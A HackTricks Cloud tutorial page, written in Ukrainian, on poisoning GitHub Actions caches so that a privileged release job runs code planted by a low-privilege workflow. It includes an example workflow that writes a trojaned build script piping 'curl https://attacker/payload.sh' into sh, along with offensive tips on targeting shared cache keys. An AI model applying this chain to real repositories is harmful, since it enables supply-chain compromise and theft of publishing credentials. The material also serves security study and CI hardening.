GH Actions - Cache Poisoning
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Огляд
Кеш GitHub Actions є глобальним для репозиторію. Будь-який workflow, який знає cache key (або restore-keys), може заповнити цей запис, навіть якщо job має лише permissions: contents: read. GitHub не сегрегує кеші за workflow, типом події або рівнем довіри, тому атакуючий, який компрометує job з низькими привілеями, може отруїти кеш, який привілейована release job пізніше відновить. Саме так компрометація Ultralytics перекинулася з workflow pull_request_target у пайплайн публікації PyPI.
Примітиви атаки
actions/cacheнадає операції відновлення та збереження (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). Виклик збереження дозволено для будь-якої job, окрім справді недовіренихpull_requestworkflows, викликаних із форків.- Записи кешу ідентифікуються виключно за
key. Широкіrestore-keysполегшують інжекцію payloads, оскільки атакуючому потрібно лише спричинити колізію по префіксу. - Кешований файловий простір відновлюється дослівно. Якщо кеш містить скрипти або бінарні файли, що виконуються пізніше, атакуючий контролює цей шлях виконання.
Приклад ланцюга експлуатації
Workflow автора (pull_request_target) отруїв кеш:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Привілейований workflow відновився та виконав poisoned cache:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
Другий job тепер виконує код, контрольований атакуючим, маючи при собі облікові дані для релізу (PyPI tokens, PATs, cloud deploy keys, etc.).
Практичні поради щодо експлуатації
- Націлюйтеся на workflows, що запускаються через
pull_request_target,issue_commentабо команди ботів, які все ще зберігають кеші; GitHub дозволяє їм перезаписувати ключі для всього репозиторію навіть коли runner має лише доступ для читання репо. - Шукайте детерміновані ключі кешу, які повторно використовуються через межі довіри (наприклад,
pip-${{ hashFiles('poetry.lock') }}) або ліберальніrestore-keys, після чого збережіть свій шкідливий tarball перед запуском привілейованого workflow. - Моніторте логи на записи
Cache savedабо додайте власний крок збереження кешу, щоб наступний release job відновив payload і виконав троянізовані скрипти чи бінарні файли.
Джерела
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud

